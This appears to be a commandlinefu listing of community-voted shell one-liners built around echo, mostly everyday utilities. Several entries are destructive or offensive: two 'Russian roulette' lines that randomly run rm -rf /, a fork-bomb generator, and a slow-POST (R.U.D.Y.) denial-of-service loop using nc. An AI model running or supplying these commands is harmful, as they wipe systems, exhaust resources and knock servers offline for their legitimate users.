Commands using echo sorted by votes

Commands using echo (1,545)

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convert a string from lower case into uppercase
This is sample output - yours may be different.
-1

echo lowercaseword | tr '[a-z]' '[A-Z]'

eastwind · 2013-05-11 11:08:37 6
Replace all the spaces in all the filenames of the current directory and including directories with underscores.
This is sample output - yours may be different.
-1

ls -1 | while read file; do new_file=$(echo $file | sed s/\ /_/g); mv "$file" "$new_file"; done

unixmonkey57489 · 2013-05-22 11:54:11 7
Netcat ftp honeypot centos linux (use port 22 for SSH)

[root@dhcppc1 windows]# cat /var/log/honeylog.log Connection from 192.168.1.71 port 21 [tcp/ftp] accepted Connection from 192.168.1.65 port 21 [tcp/ftp] accepted [root@dhcppc1 windows]# nc 192.168.1.65 21 220 ProFTPD 1.3.3c Server [ProFTPD] FAILED FTP ATTEMPT - PORT 21 *You can not run it if you have activated the ftp server.
This is sample output - yours may be different.
-1

while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT 21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done

xmuda · 2013-07-16 19:05:37 6
Removes single line from known_hosts file

Quickly remove the conflicting line (key) from current users known_hosts file when there is an SSH host conflict. Very nice when you get tired of writing out full commands. Ideally you would place this into your .bash_profile Usage: rhost [n] Example: rhost 33 (removes line 33 from ~/.ssh/known_hosts) Function assumes the $HOME exists, you could alternatively use "~/.ssh/known_hosts" Mac OSX likes a space for sed -i "$1" d
This is sample output - yours may be different.
-1

rhost() { if [[ $1 =~ ^[0-9]+$ ]]; then sed -i "$1"d ${HOME}/.ssh/known_hosts; else echo "rhost [n]"; fi }

lowjax · 2013-08-01 21:10:34 13
Creating rapidly an html menu

This will create rapidly an html menu. You can paste it in you're html page with the middle button(the wheel). I didn't test it in an html with css, but it seems alright. Show Sample Output
This is sample output - yours may be different.
```
<ul>
 <li>menu 1</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 2</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 3</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 4</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
```
-1

for menu in {1..4}; do echo -e "<ul>\n <li>menu $menu</li>\n <ul>"; for items in {1..5}; do echo " <li>item $items</li>"; if [ $items -eq 5 ];then echo -e " </ul>";fi;done; echo "</ul>";done | xclip

qcjn · 2013-09-22 06:34:32 6
find all minimum values in file with at least 100 lines
This is sample output - yours may be different.
-1

for ff in directory; do numLines=`wc -l $ff`; numLines=$(echo $numLines | sed 's/ .*//g'); min=$(sort -nrk 1 $ff | tail -1); if [ $numLines -gt 100 ]; then echo $min >> minValues; fi;done;

user1234 · 2013-09-23 04:04:52 7
Russian rullette: Warning! Don't run, if not sure what are you doing
This is sample output - yours may be different.
-1

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Alive"

vp_arth · 2013-10-31 10:51:04 7
Move all epub keyword containing files to Epub folder
This is sample output - yours may be different.
-1

IFS=$(echo -en "\n\b"); mkdir Epub; for i in `find . | grep epub`; do echo "epub: $i"; mv -v "$i" Epub; done

Wafelijzer · 2014-01-13 20:39:58 8
Stores current working directory before exit and restores it on a new bash start

this command will add the following two lines into the ~/.bash_aliases: alias exit='pwd > ~/.lastdir;exit' [ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)" or redirect it to the ~/.bashrc if you like Donno, I find it usefull. You may also define an alias for 'cd ~' like - alias cdh='cd ~'
This is sample output - yours may be different.
-1

echo -e 'alias exit='\''pwd > ~/.lastdir;exit'\''\n[ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)"' >> ~/.bash_aliases

ichbins · 2014-01-28 18:02:04 6
A simple way find total Memory capacity of the system

Show Sample Output
This is sample output - yours may be different.
```
Memory: 192 GB
```
-1

echo "Memory:" $(dmidecode --type memory | grep " MB" | awk '{sum += $2; a=sum/1024} END {print a}') "GB"

bp · 2014-02-18 06:20:34 9
Get Minecraft ≥1.7 Server info (online players etc.) JSON
This is sample output - yours may be different.
-1

(echo -e '\x06\x00\x00\x00\x00\x00\x01\x01\x00'; sleep 1)|nc -c $host 25565

tehdog · 2014-08-05 14:44:40 13
See crontabs for all users that have one

This is not exhaustive but after checking /etc/cron* is a good way to see if there are any other jobs any users may have set. Note: this is a repost from a comment "flatcap" made on http://www.commandlinefu.com/commands/view/3726/print-crontab-entries-for-all-the-users-that-actually-have-a-crontab#comment, for which I am grateful and I take no credit.
This is sample output - yours may be different.
-1

for USER in /var/spool/cron/*; do echo "--- crontab for $USER ---"; cat "$USER"; done

tyzbit · 2014-12-11 19:48:46 15
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
This is sample output - yours may be different.
-1

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 9
Check the current price of Bitcoin (jq version, defines a function)

The only pre-requisite is jq (and curl, obviously). The other version used grep, but jq is much more suited to JSON parsing than that. Show Sample Output
This is sample output - yours may be different.
```
$ btc USD
1 BTC = 232.0986 USD
$ btc GBP
1 BTC = 149.4399 GBP
```
-1

btc() { echo "1 BTC = $(curl -s https://api.coindesk.com/v1/bpi/currentprice/$1.json | jq .bpi.\"$1\".rate | tr -d \"\"\") $1"; }

benjabean1 · 2015-09-19 02:49:30 18
Command-line russian roulette
This is sample output - yours may be different.
-1

[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"

mogoh · 2017-12-31 01:46:13 174
quick integer CPU benchmark

You could have that little benchmark run on all cores in parallel, as a multi-core benchmark or stress test First find the number of cores, then have parallel iterate over that in, well, parallel Show Sample Output
This is sample output - yours may be different.
```
...
41454625947560171969501001538543925124881846970621917597708878154881\
18278788738248093374936943243527734573872009289119068940335579136

real	0m12,698s
user	0m14,461s
sys	0m0,382s
```
-1

time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "2^2^20" '|' bc

kostis · 2018-12-06 05:36:55 1059
shell bash iterate number range with for loop

iterating range of numer with for loop in shell or bash Show Sample Output
This is sample output - yours may be different.
```
10
11
12
13
14
15
16
17
18
19
20
```
-1

rangeBegin=10; rangeEnd=20; for numbers in $(eval echo "{$rangeBegin..$rangeEnd}"); do echo $numbers;done

aysadk · 2019-07-26 09:19:44 239
shell bash iterate number range with for loop

"seq" has an additional parameter to use as INCREMENT. # seq FIRST INCREMENT LAST https://linux.die.net/man/1/seq Show Sample Output
This is sample output - yours may be different.
```
1
2
3
4
5
```
-1

for i in $(seq 1 5) ; do echo $i ; done

guilsson · 2019-07-29 18:34:12 218
Countdown Clock

I find the other timers are inaccurate. It takes some microseconds to perform the date function. Therefore, using date/time math to calculate the time for us results in millisecond accuracy. This is tailored to the BusyBox date function. May need to change things around for GNU date function. Show Sample Output
This is sample output - yours may be different.
```
00:03:00
```
-1

let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne "\r$(date -d"0:0:$i" +%H:%M:%S)"; sleep 0.3; done

davidk · 2019-10-22 15:04:21 143
Fork bomb (don't actually execute)

“$0” is a variable returning the name of the script that you call it in — so running “./$0&” twice amounts to the script running itself in a separate process twice. Show Sample Output
This is sample output - yours may be different.
```
#!/bin/bash
./$0&
./$0&
```
-1

echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh

realkstrawn93 · 2021-04-30 19:33:40 143
reset the bizzarre gone junk terminal to normal
This is sample output - yours may be different.
-2

echo "Xc" | tr "Xo" "\033\017

mnikhil · 2009-02-07 18:55:27 9
Commit all the changes in your java code
This is sample output - yours may be different.
-2

svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"

Antoine · 2009-02-11 16:31:05 10
Improvement of curl + Twitter

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet
This is sample output - yours may be different.
-2

echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml

ronz0 · 2009-02-16 14:34:05 157
read a file with table like data

This will print out the third column of every line in FILE. Useful for many files in /proc or *csv data. Show Sample Output
This is sample output - yours may be different.
```
3
```
-2

echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE

occam · 2009-03-06 15:32:40 6
Quick alias for playing music.

An alias i made for myself to play music in a faster way. Works great when you have Guake / Tilda installed (Console that drops down like in the game QUAKE) --- I put this in my bash_alias file (I'm on ubuntu, the bash_alias file does autostart with the right config) but it works putting it in bashrc too. Or anything that autostarts when the console is opened. --- Needs Mplayer and music files to work. With out music theres nothing to play! Oh, and also, without modification, this alias will try to play stuff from your ~/Music folder! (case sensitive). Make sure that folder exists and has music OR edit this alias to fit your needs. Show Sample Output
This is sample output - yours may be different.
```
dude@boxy:~$ mux
File.mp3 anotherfile Moremusic Hardrock.mp3
File> Hardrock.mp3
<Insert lots of unneeded Mplayer output here>
```
-2

alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'

Noxn · 2009-03-23 10:45:27 16
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ps a process keeping the header info so you know what the columns of numbers mean!

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1828 0.0 0.0 5396 476 ? Ss 2008 0:00 /usr/sbin/sshd

Count the total amount of hours of your music collection

First the find command finds all files in your current directory (.). This is piped to xargs to be able to run the next shell pipeline in parallel. The xargs -P argument specifies how many processes you want to run in parallel, you can set this higher than your core count as the duration reading is mainly IO bound. The -print0 and -0 arguments of find and xargs respectively are used to easily handle files with spaces or other special characters. A subshell is executed by xargs to have a shell pipeline for each file that is found by find. This pipeline extracts the duration and converts it to a format easily parsed by awk. ffmpeg reads the file and prints a lot of information about it, grep extracts the duration line. cut and sed cut out the time information, and tr converts the last . to a : to make it easier to split by awk. awk is a specialized programming language for use in shell scripts. Here we use it to split the time elements in 4 variables and add them up.

Suspend, background, and foreground a process

1. Start a process, such as 'top' command 2. # suspend process {ctrl-Z} 3. # background process bg 4. # list all backgrounded jobs jobs 5. # bring it back to foreground fg

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

To find which host made maximum number of specific tcp connections

This command is primarily going to work on linux boxes. and needs to be changed, for example IP=10\.194\.194\.2 PORT=389

Matrix Style

It's the same command as submitted, but first with a command to make all characters green. It's the only way it looked "matrix-like" on my gnome-terminal.

Download all Red Hat Manuals - A better way by user Flatcap

Let's give Flatcap credit for this elegant solution, instead of leaving it hidden as a comment. Tested on RHEL6 and it works. Nice and clean.

Live stream a remote desktop over ssh using only ffmpeg

Play with the framerate option '-r' to scale back bandwidth usage. The '-s' option is the captured screan area, not the rescaled size. If you want to rescale add a second '-s' option after '-i :0'. Rescaling smaller will also decrease bandwidth.

Convert A USB Cable Into A Smart Home Gadget

An old USB A/B cable is all you need to make your own Smart Home hardware! Cut off and discard the B-portion of the USB cable. On the A side, connect the RED (+) and WHITE (D-) wires via a 1 kiloohm resistor. $Picture: http://imgur.com/dJGVlAU Now plug the cable into a USB port on your Linux computer. Your hardware is ready! Run the above command after changing variable mysms to your personal email-to-SMS gateway info as required by your cellular service provider. The command uses the amazing usbmon tool (see link below) to detect the cable. For the curious, to view the raw usbmon output, run this command: (Also see the sample output) $usbmon -i usb0 How does it work? When the red and white wires are connected (via the 1 kiloohm resistor) the USB hardwere is tricked into thinking that a new USB device is trying to start up. We then use the usbmon utility to capture the host USB events as it tries to talk to the cable. The expect utility watches the usbmon stream and waits for the disconnect text "-2:128" before sending the SMS message. Finally, the sendmail tool is used to email the SMS message to your smartphone via your cellular provider's SMS-to-email gateway. As a result, when the electrical connection between the red and white wire is interrupted, or the USB cable is unplugged from your computer, you get an SMS notification of the disconnect event on your smartphone. Could this be the cheapest smart home gadget ever? What are YOU going to sense with it? Please let me know in the comments and please don't forget to click it up! $ $Links: $ http://www.linuxcertif.com/man/8/usbmon/ http://en.wikipedia.org/wiki/USB#Pinouts http://imgur.com/dJGVlAU

Make ogg file from wav file

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Commands using echo (1,545)

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